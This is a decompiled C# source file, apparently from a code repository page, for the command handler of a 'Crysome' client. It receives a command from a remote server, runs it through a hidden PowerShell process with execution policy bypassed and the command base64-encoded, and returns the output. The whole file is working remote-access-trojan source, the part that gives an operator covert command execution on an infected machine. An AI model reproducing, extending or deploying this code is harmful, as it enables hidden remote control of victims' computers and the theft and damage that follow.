73 lines
2.1 KiB
C#
73 lines
2.1 KiB
C#
using System;
|
|
using System.Diagnostics;
|
|
using System.Text;
|
|
using Crysome.Common.Network;
|
|
using Crysome.Common.Network.Packets;
|
|
using Crysome.Common.Network.Packets.Client;
|
|
using Crysome.Common.Network.Packets.Server;
|
|
|
|
namespace Crysome.Client.Handlers;
|
|
|
|
public static class CommandHandlers
|
|
{
|
|
private const int MaxOutput = 512000;
|
|
|
|
public static void HandleRunCommand(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0013: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_001d: Expected O, but got Unknown
|
|
string text = RunPowerShell(((RunCommandRequestPacket)packet).Command);
|
|
client.SendPacket((IPacket)new RunCommandResponsePacket(text));
|
|
}
|
|
|
|
private static string RunPowerShell(string command)
|
|
{
|
|
try
|
|
{
|
|
string text = Convert.ToBase64String(Encoding.Unicode.GetBytes(command));
|
|
ProcessStartInfo startInfo = new ProcessStartInfo
|
|
{
|
|
FileName = "powershell.exe",
|
|
Arguments = "-NoProfile -ExecutionPolicy Bypass -EncodedCommand " + text,
|
|
UseShellExecute = false,
|
|
RedirectStandardOutput = true,
|
|
RedirectStandardError = true,
|
|
CreateNoWindow = true,
|
|
WindowStyle = ProcessWindowStyle.Hidden
|
|
};
|
|
StringBuilder sb = new StringBuilder();
|
|
using (Process process = Process.Start(startInfo))
|
|
{
|
|
process.OutputDataReceived += delegate(object s, DataReceivedEventArgs e)
|
|
{
|
|
if (e.Data != null && sb.Length < 512000)
|
|
{
|
|
sb.AppendLine(e.Data);
|
|
}
|
|
};
|
|
process.ErrorDataReceived += delegate(object s, DataReceivedEventArgs e)
|
|
{
|
|
if (e.Data != null && sb.Length < 512000)
|
|
{
|
|
sb.AppendLine(e.Data);
|
|
}
|
|
};
|
|
process.BeginOutputReadLine();
|
|
process.BeginErrorReadLine();
|
|
process.WaitForExit(60000);
|
|
}
|
|
string text2 = sb.ToString();
|
|
if (text2.Length > 512000)
|
|
{
|
|
text2 = text2.Substring(0, 512000) + "...(truncated)";
|
|
}
|
|
return string.IsNullOrEmpty(text2) ? "(no output)" : text2;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
return "Error: " + ex.Message;
|
|
}
|
|
}
|
|
}
|